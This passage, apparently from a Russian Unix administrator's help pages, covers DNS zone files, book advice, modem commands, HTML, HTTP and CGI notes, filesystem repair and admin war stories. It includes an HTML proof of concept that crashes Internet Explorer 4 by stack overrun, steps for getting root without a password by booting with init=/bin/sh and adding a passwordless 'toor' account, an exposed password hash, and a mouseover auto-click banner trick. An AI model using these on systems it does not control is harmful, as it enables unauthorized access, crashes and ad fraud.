unixhelp

страница №6

ает вещать на весь мир.

;############## /etc/named.boot #############################
; type domain source host/file backup file
;
directory /var/named
cache . named.root
primary 0.0.127.in-addr.arpa 127.0.0.0
primary foms.msk.ru foms.msk.ru
primary 3.8.198.in-addr.arpa 198.8.3.0
primary 2.8.198.in-addr.arpa 198.8.2.0

; Зоны, для которых мы служим резервным name-сервером
secondary gatelink.fr 134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## конец файла ###################################

;############## /var/named/named.root #######################
; Initial cache data for root domain servers 1-may-98
;;;;Get it from /ftp@FTP.RS.INTERNIC.NET:/domain/named.root;;
. 99999999 NS A.ROOT-SERVERS.NET
. 99999999 NS B.ROOT-SERVERS.NET
. 99999999 NS C.ROOT-SERVERS.NET
. 99999999 NS D.ROOT-SERVERS.NET
. 99999999 NS E.ROOT-SERVERS.NET
. 99999999 NS F.ROOT-SERVERS.NET
. 99999999 NS G.ROOT-SERVERS.NET
. 99999999 NS H.ROOT-SERVERS.NET
. 99999999 NS I.ROOT-SERVERS.NET
. 99999999 NS J.ROOT-SERVERS.NET
. 99999999 NS K.ROOT-SERVERS.NET
. 99999999 NS L.ROOT-SERVERS.NET
. 99999999 NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET internet address = 198.41.0.4
B.ROOT-SERVERS.NET internet address = 128.9.0.107
C.ROOT-SERVERS.NET internet address = 192.33.4.12
D.ROOT-SERVERS.NET internet address = 128.8.10.90
E.ROOT-SERVERS.NET internet address = 192.203.230.10
F.ROOT-SERVERS.NET internet address = 192.5.5.241
G.ROOT-SERVERS.NET internet address = 192.112.36.4
H.ROOT-SERVERS.NET internet address = 128.63.2.53
I.ROOT-SERVERS.NET internet address = 192.36.148.17
J.ROOT-SERVERS.NET internet address = 198.41.0.10
K.ROOT-SERVERS.NET internet address = 193.0.14.129
L.ROOT-SERVERS.NET internet address = 198.32.64.12
M.ROOT-SERVERS.NET internet address = 202.12.27.33
;############## конец файла ###################################

;############## /var/named/127.0.0.0 ############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN NS server.foms.msk.ru.
1 IN PTR localhost.
;############## конец файла ###################################

;############## /var/named/foms.msk.ru ############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
95031802 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours

NS server.foms.msk.ru.
NS ns2.msk.ru.
MX 0 server.foms.msk.ru.
; MX 20 mail.msk.ru.
; MX 30 mailhost.kiae.su.

localhost A 127.0.0.1

$INCLUDE /var/named/primary/foms-hosts-spisok

;; Если хотите отпустить свой поддомен *.develop.foms.msk.ru
;; на выселки, самостоятельно поддерживать свой домен.
;margo.develop IN A 193.95.100.4
;develop IN NS margo.develop.foms.msk.ru.
;############## конец файла ###################################

;############## /var/named/foms-hosts-spisok ########
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;

; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server A 198.8.2.1 ; e1x70 ethernet
A 198.8.3.1 ; m3760 ethernet
A 193.124.158.33 ; sl0 slip link
MX 0 mailrelay
HINFO Motorola88/110 "SVR4.1/88"
WKS 198.8.2.1 UDP ( time domain name )
WKS 198.8.2.1 TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp CNAME server
fedfond CNAME server

; Host s20
;
s20 A 198.8.2.20
MX 0 mailrelay
MX 20 linux
HINFO Besta/31 UNIX-V.3
besta CNAME s20

; Host pcat101
;
pcat101 A 198.8.2.101
MX 0 mailrelay
HINFO PC486/66DX2 "MSDOS 6.2"
pc101 CNAME pcat101
guest CNAME pcat101

; Host pcat106
;
pcat107 A 198.8.3.107 ; eth0
A 193.124.158.34 ; sl0 slip link
MX 0 pcat107
MX 10 mailrelay
HINFO PC486/66DX2 "Linux 1.2.1"
pc107 CNAME pcat101
linux CNAME pcat101
;############## конец файла ###################################

;############## /var/named/primary/198.8.2.0 ##########
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.

; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
20 PTR s20.foms.msk.ru.
101 PTR pcat101.foms.msk.ru.
;############## конец файла ###################################

;############## /var/named/primary/198.8.3.0 ##########
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.

; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
106 PTR pcat106.foms.msk.ru.
107 PTR pcat107.foms.msk.ru.
;############## конец файла ###################################
.
&dDКнижки про Unix&d@

Рекомендуются любые книги в твердой обложке импортных
авторов в переводе на русский, ОСОБЕННО переводы книг
издательства O'Raily, все остальные (за редчайшим исключением)
- не рекомендуются. Т.е., написанные совками (ибо учебники
должны писать профессиональные преподаватели, а не
профессиональные программисты) и в мягкой обложке (естественно,
не считая издательства O'Raily)

На русском есть:

&dDКерниган, Пайк&d@

Керниган, Пайк, название почему-то перевели как "UNIX -
универсальная среда программирования". Warning! При наборе
русского издания наляпали ОКЕАН ачипяток и ашипок в части regex
и не только. Читать ее imho надо в параллель с manpages,
отдавая оным приоритет в стремных ситуациях.

Не смотря на это - отличная книжка. Мне было даже интересно ее
читать.

&dDГотье&d@

Готье "Руководство по операционной системе UNIX". Точнее,
SysV.release-unknown. Но тоже ничего для начала.

&dDБаурн&d@

Баурн (название я забыл) хорошая книжка и troff описан. Старая,
из серии "со стрелочками" из-ва "Мир".

&dDИнмос85&d@

Беляков Рабовер Фридман — что-то на тему Инмос85. Интересно
почитать.

Но сильно устарела. МОЖНО НЕ ЧИТАТЬ

&dDМорис Дж. Бах. Архитектура операционной системы Unix&d@

Очень толково и доступно описаны "потроха" - идеи и алгоритмы
реализации ядра. Описание Unix изнутри. Написана на "языке C" с
комментариями. Книга весьма старая, но тем не менее тем, кто
захочет узнать больше - ЧИТАТЬ РЕКОМЕНДУЮ.

Бах Морис — русский перевод его книги ходил в виде 480Кб
  1. 299883 архива.



&dD"Мобильная опер. система"&d@

Беляков и Co. "Мобильная опер. система" (оранжевая книжечка в
мягкой обложке) — компиляция из POSIX стандартов времен ок.
1989г. Маленькая такая, хороша как справочник.

и еще довольно много других...

&dD"UNIX/руководство системного администратора"&d@

"UNIX/руководство системного администратора", Эви Немет, Гарт
Снайдер, Скотт Сибас, Трент Р.Хент. Киев, bhv, 1997. 830 стр.,
50 тр.

Очень, очень достойная книжка. Помогает почти от всех
болезней. Единственное, что отсутствует - Интернет security, а
ВСЕ остальное есть. ОБЯЗАТЕЛЬНО КУПИТЬ.

&dD"Linux/введение в операционную систему"&d@

Автора выясню позже. Киев, bhv, 1997. 760 стр.

Издательство bhv, известное выпоском нескольких
высококласных книг по Unix, на этот раз напечатало откровенную
халтуру. Оригинал был весьма могословен и неряшливо написан.
Перевод еще хуже оригинала. КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЮ.

&dD * Где купить * &d@

&dDИздательство BHV"&d@

За последнее время издало несколько очень качественных переводных книг
по Unix и Internet

"BHV - Москва" 270-2032

1. "Дом технической книги" Ленинский пр., 40 (095) 137 6019
0633*

2. "Библио-Глобус" ул. Мясницкая, 6 (095) 928 8744

3. "Молодая Гвардия" ул. Б. Полянка, 28 (095) 238 0032
5001*

4. "Центр-Техника" ул. Петровка, 15 (095) 924 3624

5. ТД "Москва" ул. Тверская, 8 (095) 229 7355

6. "Дом книги" ул. Новый Арбат, 8 (095) 203 8242

7. "Дом педагогической ул. Большая Дмитровка, (095) 229 4392
книги" 7/5

8. "Мир" Ленинградский пр., 78 (095) 152 8282

9. "Новый" ш. Энтузиастов, 24 (095) 362 0923

10. "РиС" ул. Красного маяка, 11 (095) 313 8345

11. "Ридас" Новоданиловская наб., 9 (095) 954 3044

12. "Кнорус" Милютинский пер., 19/4 (095) 928 6269

13. "Мидикс" Ленинский пр., 29 (095) 955 4101

14. "Десс" Рогожский вал, 15 (095) 366 9295

______________________________________________________
* - телефоны, где что-то могут сказать про наличие книг


ЛИТЕК - мелкооптовая торговля от "КноРуса" 911-9863
911-9742 ул. Николо-Ямская, 45 под.2. Идти от м.Таганская
кольцевая, по Садовому кольцу вниз до б.Дровянного пер,
завернуть туда и до упора в ул. Николо-Ямскую. Перейти улицу и
направо до 45 дома(там меховое ателье) вход со двора.
Полуподвал


&dDКниги о Linux&d@

Алгоритм такой:
пойти в крупный книжный,
взять там все книжки по линуксу, какие есть,
потом попытаться каждую из них почитать 5-10 минут.
Если от книжки не тошнит - то ее вполне можно брать.
.
&dDНесколько управляющих команд Hayes-совместимого модема&d@
(Компиляциия из документации модемов ZyXEL 1496*, GVC-1440)

AT&F0 Factory setting
Или на ZyXEL включить модем с нажатой кнопкой
Enter или Data/Voice

ATZ0 Загрузить profile 0
AT&V Распечатать setup
AT&W0 Сохранить setup в profile 0
AT&Y0 При включении загружать profile 0

ATE0 Выключить эхо

atdpТЕЛЕФОННЫЙ НОМЕР Пульсовый набор номера

+++ Выйти из connect'а в командный режим
ATO Вернуться из командного режима в CONNECT
ATH Положить трубку

ATA Поднять трубку и ответить на звонок
ATS0=2 Снимать трубку после 2-го звонка

&dDКоманды, которые обычно и сами по себе установлены&d@.


AT&P1 Make / break 33/67 (Europe)

ATQ0 Возвращать код возврата
ATV1 Код возврата текстовый

&dDКоманды, которые возможно захочется установить&d@.

AT&L1 В режим выделенных линий
AT\N5 Запретить соединение БЕЗ сжатия MNP5 или V42bis
ATB6 Поставить скорость 2400 и ниже
ATL0 Самый тихий звук
ATM0 Speaker always off

&dDКоманды GVC-1440&d@

B_ B1 Bell mode (*)
B2 Autoscan mode

D_ R originate call in answer mode
W whait for second dialtone
, pause
@ wait for 5 seconds silence
! flash
; return to command mode after dialing

H 1 make busy

I [0-4] info

L 2 medium speacker

M 0 internal speacker off
1 internal speacker on until carrier
2
3

O 0 return to data mode
1 return to data mode and initiate equaliser retrain

Регистры

s0 autoanswer ring 0
s1 ring counter 0
s2 Escape code character +
s3 CR character 13
s4 LF character 10
s5 BS character 8

S6 dial tone whait time 2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time 2 sec
s9 carrier dettect responce time 6 *1/10 sec
s10 carrier loss time 14 *1/10 sec
s11 touch tone dialing speed 95 ms
s12 esc character detect time 50 1/50 sec

s14 bitmap

s16 bitmap

s18 modem test timer 0
s21 bitmap
s22 bitmap
s23 bitmap

s25 DTR delay 5 sec
s26 RTS to CTS delay interval 1 *1/100 sec
s27 bitmap
s28 bitmap
.
&dDКонфигурирование сервера HTTPD и формат языка HTML&d@



Внимание Этот текст будет слегка более доступным
для понимания, если вы посмотрите на него в исходном виде -
&dD"Document source"&d@


&dDФайлы в каталогах с документами&d@

index.html Если просят выдать каталог, то выдают index
если его нет, выдается просто оглавление каталога
HEADER.html Его содержимое добавляется перед началом листинга
README.html Его содержимое добавляется к концу листинга

.htaccess Управляющий файл с локальными настройками текущей директории

Разобраться стоит с этими характеристиками:
Alias - где то должна лежать расшифровка. а сервер будет
ее подставлять.
Вот только где ?


&dDСпецсимволы:&d@

Нужно задавать так:

& - &
" - "
> - >
< - <
>> - >>
<< - <<
(C) - © или ©
(R) - ®
- —
- –
<= - <=
>= - >=
Extra space -  

&dDЗаголовки&d@

Заголовок всего документа

Заголовок 2-го уровня



Ссылка на подраздел в документе

Ссылка открываемая в другом окне

Так это место должно быть помечено в Документе

&dDНенумерованный список (Unnumbered list)&d@

  • Одна позиция
  • Другая позиция


&dDПронумерованный список (Numbered list)&d@

  1. Первая позиция
  2. Вторая позиция


&dDЕсть так же и более "мелкие" списки:&d@
  • 1
  • 2
  • ,
  • 1
  • 2



  • &dDСписки с подзаголовками (Definition list)&d@

    Название пункта
    Текст, расписывающий содержимое пункта
    Название пункта
    Текст, расписывающий содержимое другого пункта



    Преформатированный фрагмент текста


    Преформатированный фрагмент текста в ширину 80



    Устанавливает общий отступ вправо.
    Вынесенный вправо фрагмент текста



    Горизонтальная черта


    Окончание параграфа



    Жесткий конец строки



    Текст между этими тагами не будет переноситься
    на новую сторку каким бы длинным он не был


    &dDФизические стили&d@

    Bold жирный текст
    Itallic курсив текст
    Underline подчеркнутый Работает только в Netscape 3
    Typewriter текст с фонтом фиксированной ширины
    Blink мигающий текст
    Strike перечеркнутый текст

    &dDЛогические стили&d@

    Definition. Определяемое слово italic
    Emphasis. Ударение italic
    Titles of books. Цитата italic
    Programm. Программный текст fixed
    User keyboard entry. bold fixed
    Status message fixed
    Variable. italic
    Strong emphasis. bold

    Выделяется адрес italic


    &dDУправление цветами и фонтами&d@
    _BODY_ таги срабатывают только если расположены в самом начале документа

    А так устанавливают собственные цвета во всем документе

    А так делали траурные колера, когда протестовали.


    Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта



    Дальше пойдет текст с фонтом заданного размера


    а так же background звук

    &dDТак выглядит обычная ссылка.&d@

    Low impact



    &dDТак вставляют картинку&d@


    Если нужен текст сбоку
    от картинки
    Отступ текста от картинки
    >
    ALT - что написать, если картинка не читается,
    LOWRES - перед рисованием большой картинки загрузить эту - маленькую


    Так подкладывают BACKGROUND


    &dDТаблички -&d@

    Внутри таблицы может быть такой таг, Подзаголовок?








    &dDО протоколе HTTP/1.*&d@

    Клиент открывает tcp соединение с хостом www.host.com на порт
    (обычно 80) и говорит туда

    GET /local/url/file/name.html HTTP/1.0
    Host: www.host.com
    Http_referer: url_документа_на_котором_стоял_клиент
    Еще некоторое количество заголовков,
    которые рассказывают серверу, кто с ним имеет дело.
    Все они, кроме GET необязательны
    . . .
    ^M^J - пустая строка - конец заголовков - конец запроса

    Обратно вываливается ответ сервера:

    http-шные заголовки
    на нескольких строках
    ^M^J - пустая строка
    Собственно запрошенный документ as is

    &dDУпражнение:&d@ скажите

    $ telnet www 80
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    GET /index.html HTTP/1.0

    И потом два раза нажмите на Enter


    &dDКак работет докачка в HTTP/1.1 протоколе?&d@

    В запрос вставляется специальное поле "Range: bytes nnn-".
    Сервер с докачкой возвращает код 206 - "Часть содержимого" и
    передает запрошенную часть файла. Если сервер не поддерживает
    докачки, он просто возвращает 200 и высылает весь файл как при
    обычном запросе.

    &dDSSI - Server Side Includes&d@


    0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
    XBitHack full
    и сделать им chmod g+x file.shtml

    1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
    файлах сервера:

    /etc/httpd/conf/access.conf :------------------------
    # "Включить"
    Options +Includes # или даже Options All
    /etc/httpd/conf/srm.conf :------------------------

    AddType text/html .shtml
    AddHandler server-parsed .shtml

    2. Тогда SSI отрабатываются только в файлах с расширением .shtml

    Примеры:

    charset=






    The value will often be enclosed in double quotes; many comн
    mands only allow a single attribute-value pair.

    The allowed ELEMENTS are:

    config - параметры парсинга
    Атрибуты config
    errmsg - сообщение об ошибке, посылаемое клиенту
    sizefmt - формат размера файла
    timefmt - формат даты модификации файла
    var - напечатать имя переменной

    exec - выполнить shell или CGI-скрипт
    cgi - (%-encoded) URL relative path to the CGI script.
    cmd - выполнить shell

    fsize - напечатать размер файла
    file - относительное имя файла
    virtual -(%-encoded) URL-path relative файла

    flastmod - последннее время модификации файла

    include - вставить документ
    file - вставляемый файл
    virtual - URL - только на этом же хосте

    Include variables

    These are available for the echo command, and to any program
    invoked by the document.

    DATE_GMT
    The current date in Greenwich Mean Time.
    DATE_LOCAL
    The current date in the local time zone.
    DOCUMENT_NAME
    The filename (excluding directories) of the document requested
    by the user.
    DOCUMENT_URI
    The (%-decoded) URL path of the document requested by the user.
    Note that in the case of nested
    include files, this is not then URL for the current document.
    LAST_MODIFIED
    The last modification date of the document requested by the user.


    If server side includes are enabled, you will see data values below:

    The date is:
    The current version of the server
    The CGI gateway version
    The server name

    This file is called:
    This file's URI
    The query string
    This file was last modified:
    The size of the unprocessed file
    sample.html was last modified
    You are using
    You came from


    # Эмуляция SSI в perl-cgi
    if (//) {
    print $`;$tmp = $';
    open (INC,"$inc") || die "Can't Open $inc: $!\n";
    while () {
    if (//) {
    @time = localtime ( time() ); $time[4]++;
    if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
    s//$time[3].$time[4].$time[5]/g;
    }
    print $_;
    }
    close(INC);
    print "$tmp";
    }


    &dDУправление доступом через httpd.conf&d@

    SetEnvIfNoCase Referer rusf\.ru internal_referer
    SetEnvIfNoCase User-Agent Teleport internal_referer
    SetEnvIfNoCase User-Agent Vampire internal_referer
    SetEnvIfNoCase User-Agent ReGet internal_referer
    SetEnvIfNoCase User-Agent GetRight internal_referer
    SetEnvIfNoCase User-Agent Wget internal_referer


    ErrorDocument 403 http://rusf.ru/books/index.htm
    order deny,allow
    deny from all
    allow from env=internal_referer


    # No offline browsers в robots.txt
    User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
    Explorer, Web-By-Mail
    Disallow: /

    &dDCGI - спецификация интерфейса между сервером httpd&d@

    и внешними, вызываемыми программами - gateeway'ями.
    Сам CGI-script должен лежать в /home/httpd/cgi-bin
    тогда его находят (или в других каталогах, описанных в acces.conf
    Данные передаются в командной строке, через переменные
    окружения, и через стандартный ввод. Возвращаются на
    стандартный вывод, в начале должна стоять "волшебная строка"

    Если добавить в коннфигурационный файл
    /etc/httpd/conf/srm.conf :------------------------
    AddType application/x-httpd-cgi .cgi
    То CGI-скрипты можно будет клась в любой подкаталог дерева
    документов - с расширением .cgi

    &dDФормы и индексы&d@

    Войти в файл, и спозиционироваться на строку с шаблоном "cl"
    http://hoohoo.ncsa.uiuc.edu/file.html#cl

    Request for a CGI script with no extra path information and no query.
    http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi

    Request for a script with extra path information, and no query.
    http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path

    Request for a script with no extra path information, and an ISINDEX query.
    http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query

    Request for a script with extra path information as well as an ISINDEX query.
    http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query

    Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
    extra path - "добавочный маршрут", идущий вслед за именем екзешника
    query - длинная строка после знака "?"

    на extra path работает image map - им передается имя описателя картинки
    query передается заполненным ISINDEX

    &dDCGI-скрипту передаются такие параметры:&d@

    Параметры передаются в переменных окружения.

    REMOTE_ADDR=127.0.0.1
    REMOTE_HOST=localhost
    HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt

    REQUEST_METHOD=GET

    QUERY_STRING=query
    PATH_INFO=/marshrut
    PATH_TRANSLATED=/home/httpd/docs/marshrut

    SCRIPT_NAME=/cgi-bin/proba
    HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified


    А теперь вот как оформляются формы с checkbox'ами:


    Press me.


    Press me.








    # ISINDEX - параметр запроса передается пргограмме CGI в $1

    # В форме METHOD=GET - там вызывается команда которой передается
    # аргумент в переменной окружения QUERY_STRING
    # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off

    # А вот как работает POST, и PUT. Дополнительная информация проталкивается
    клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
    длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
    а тип данных - в CONTENT_TYPE

    FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"



    ^^^^^ поле полезно чтоб хранить информацию о "сеансе"
    Press me.













    &dDЧто мы посылаем клиенту обратно:&d@

    Status: 200 OK
    Status: 404 File not found

    Content-type: text/html

    Содержимое, которое кидается сквозь нашего сервера - клиенту

    Если я генерю не содержимое, а только ссылку, то:

    Location: /path/doc.txt
    или
    Location: gopher://gopher.ncsa.uiuc.edu/


    Генерим текст в чистом серверном виде - он поедет
    клиенту сразу, без дополнительной фильтрации:

    --- start of output ---
    HTTP/1.0 200 OK
    Date: Tuesday, 26-Dec-95 15:17:10 GMT
    Server: NCSA/1.3
    MIME-version: 1.0
    Content-type: text/html
    Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
    Content-length: 3132

    This is a plaintext document generated on the fly just for you.
    --- end of output ---
    Подставляйте туда соответствующие значения переменных
    $SERVER_PROTOCOL $SERVER_SOFTWARE


    &dDФенечки&d@

    Автоподстановка URL с timeout'ом. Подставить в начало документа:



    Дальше идет местный HTML-документ - который через 12 секунд будет
    автоматически заменен на вышеуказанный URL

    Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
    HTTP-заголовок документа. Например "насильственное взведение charset'а:




    I'm entering for the first time from (city, state/country)







    Content-type: text/html
    Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
    Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил



    Если сказать так, то клиент останется на старом месте, и не
    будет переходить по ссылке
    Status: 204 No Content

    А такой линк позволяет сразу заполнить некоторые поля в mailto послании
    >tets

    Самокликаемое письмо






    > Была идея посылать в него сообщение когда мышкой над баннером проводят.
    > (Когда баннер интересен, часто к нему курсор подводят)
    > Но что-то я не допгр как это реализовать без hidden frame.

    В правилах устанавливаешь, что у тебя _стандартный код_
    твоей сетки содержит:






    onMouseOver="OpenLink()"; return true>



    Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
    полоску будет автоклик, а чтоб клиента не напрягать -
    пускай твой http://koshelev.ru/cgi-bin/bannerOver
    возвращает код 204 No Content - т.е. _не переходить_ на линк а
    остаться на старой странице.

    &dDСсылка на которую переходят автоматически&d@


    Достаточно навести на эту ссылку мышь,
    и броузер пойдет по
    линку - без клика.



    &dDПростые эксплойты&d@
    MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.

    <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
    opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
    --------cut here and save as crashmsie.html---------------------

    Trying to crash IE 4.0
    <EMBED
    SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
    40
    80 160 170 180 190 200
    </HTML>


    &dDЗакрытие каталогов для внешних клиентов&d@

    Создаем в каталоге файл .htaccess такого содержания


    order deny,allow
    deny from all
    allow from polimos.ras.ru localhost



    AuthType Basic
    AuthName lenta.ru
    AuthUserFile /home/www/passwd
    # moshkow:1HrhNpfYnwTau стандартный crypt()
    require valid-user


    &dDСм. так же&d@

    1. ПЗМФреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3

    .
    &dDРемонт разрушенных файловых систем&d@

    Практически единственное средство лечения разрушений файловой системы во
    всех Unix - утилита &dDfsck&d@. Если не лечит она, то дело ваше почти безнадежно.
    Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться.

    &dD * LINUX * &d@

    Примечание: команды приведенные в примерах следует выполнять только
    внимательно взвесив возможные последствия. Поэтому в примерах реальные
    имена спецфайлов разделов жесткого диска заменены на &dD/dev/hd-name&d@
    (в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...)

    Тонкая рихтовка fs &dDtune2fs&d@ позволяет поменять настраиваемые параметры
    файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п.

    tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места,
    # и позволит учинить на оставшемся клочке
    # свободного места катастрофическую фрагментацию

    Стандартное лечение файловой системы:

    fsck -y -c -f /dev/hd-name

    Форсированное лечение с проверкой и "замещением" bad-блоков

    fsck -y -c -f /dev/hd-name
    # -y неинтерактивное лечение "yes" на все вопросы
    # -c найти bad-блоки readonly тестом и перенести в inod bad-блоков
    # -f форсировать проверку (игнорировать флаг "fs is clean"

    Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ...
    указав запасную копию. Номера запасных sb сообщает при разметке раздела
    утилита newfs. (Вы конечно же сохранили ее листинг?)

    Распечатать размещение служебных структур fs и параметры суберблока
    могут команды &dDtune2fs -l&d@ и &dDdumpe2fs&d@

    tune2fs /dev/hd-name
    dumpe2fs /dev/hd-name

    Если погибли _все_ копии суперблока - последний шанс &dDmke2fs -S&d@ прописать
    _только_ структуры суперблоков и описатели групп, не трогая самих данных

    mke2fs -S /dev/hd-name # Write superblock and group descriptors only
    fsck -y /dev/hd-name # сразу всед за этим запустить fsck

    И даже это еще не конец. Для сильных духом остается отладчик файловой
    системы &dDdebugfs&d@

    man debugfs

    &dDПоведение в авариной ситуации&d@

    Естественно, целее будете, если загрузитесь в single-user mode
    Для этого перехватить при загрузке LILO-промпт (Left-alt)
    И в команду загрузки добавить параметр single

    Lilo: &dDlinux single&d@

    В linux'овский single-user можно попасть только зная пароль root. Не зная
    пароля, надо грузиться так:

    Lilo: linux init=/bin/sh

    или даже так (если подготовлена rescue-дискета с файловой системой unix)

    Lilo: linux init=/bin/sh root=/dev/fd0H1440

    Перемонтировать корневой раздел из readonly в write

    mount -t ext2 -n -o remount,rw /dev/hd-root /

    Смонтировать разрушенную fs, используая альтернативный суперблок

    mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname

    Пдробности (вы будете смеяться):

    man mount
    .
    &dDМаксим Мошков. Истории из жизни администратора Unix, или Грабли&d@

    &dDИстория 1 со счастливым концом. Испорченный /etc/passwd&d@

    &dD
    > Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного
    > /sbin/sh сделать /bin/ksh
    > Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил
    > /sbin/ksh.
    > Пробовали:
    > $ su root -c /sbin/sh
    > Не помогло. Теперь он горько плачет и хакера зовет.
    > Можешь помочь, или суровое: переустанови юних?
    &d@

    Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА
    не меняй shell у суперюзера..." :-)

    0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh
    Но если еще и пароль забыт, тогда - поможет загрузка в
    single user mode или загрузка с CD/floppy/tape

    1. Дать команду df, посмотреть минор/мажор у девайса, на
    который монтируется корень, и затем почитать мануал по команде

    mknod # mkdev, mknode, mksf - создать специальный файл
    # или как там еще она называется

    и записать на бумажке команду, которой создается
    спец-файл /dev/root (или куда там монтируется "/"

    2. Загрузиться с инсталляционного стриммера/дискеты/CD.
    и там где уход на install/update/system maintance пойти на
    "system maintence" (это всего навсего shell root'овый)

    Осталось смонтировать /dev/root на /mnt
    и редактировать /mnt/etc/passwd

    &dDЗасада No 1&d@

    Сразу после загрузки мини-системы специальных файлов
    соответствующих жесткому диску нет (!). Сделать его ручками -
    команда mknode уже записана на бумажке.

    &dDЗасада No 2&d@

    Редактор vi не запускается (Нет terminfo) Ну и черт с ним.
    Придумаешь что нибудь. Например

    echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
    ^^^^^^

    обрати внимание что >> а не > (Угадай почему :-)


    а можно и так:
    PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
    TERMINFO=/mnt/usr/lib/terminfo # или где он там

    Короче - ты дома потренируйся, а потом в Коми напиши точные
    имена файлов и команд, а то боюсь необученный админ сможет
    промахнуться пару раз, а здесь промахиваться нельзя.

    Приложение: Обход root passwd в Motorola Unix SVR4/88.

    1. Посмотреть major/minor для / и /usr

    104 0 /dev/root
    104 3 /dev/dsk/m197_c0d0s3

    2. Загрузка с ленты, уход на maintance .
    3. Подмонтировать разделы диска, соответствующие / и /usr, с
    восстановлением файловой системы (т.к. система была выключена некорректно
    при отсутствии root пароля).

    mkdir /mnt
    mknod /dev/rootn b 104 0
    /etc/fs/ufs/fsck /dev/rootn
    mount -F ufs /dev/rootn /mnt

    аналогично для /usr

    mknod /dev/usr3 b 104 3
    /etc/fs/ufs/fsck /dev/usr3
    mount -F ufs /dev/usr3 /mnt/usr

    4. Отредактировать /etc/passwd, сделать беспарольного root

    echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd

    5. Cменить корень root'у (будет в /mnt)

    chroot /mnt /sbin/sh

    6. Обновить shadow

    pwconv

    Все.

    &dDИстория 2 почти о том же. Испорченный /etc/fstab&d@

    Date: 20 Apr 1997
    From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)

    У меня тоже было - запортил я /etc/fstab и сделал reboot не
    заметив ошибки - бабах - поднимается (а это был Axil с SunOS
    4.1) в single user.

    я делаю ls - Command not found - понятно - не замоунтил /usr

    посмотрел я на другом SUN'е что есть в /sbin - нашел mount,
    обрадовался - сделал /sbin/mount /usr.

    Есть VI!

    Помучался пока установил нужный set TERM с полчаса - запустил
    VI. открываю fstab - фигня со строками (вот оно - не работайте
    в PICO, учите VI !!!), исправил, save'лю - а root partition то
    READ ONLY !!!

    Делаю stop-A.

    Слава богу, посоветовали мне, что в boot-мониторе можно сделать
    b -rw (замаунтить с write), после этого я повторил всю
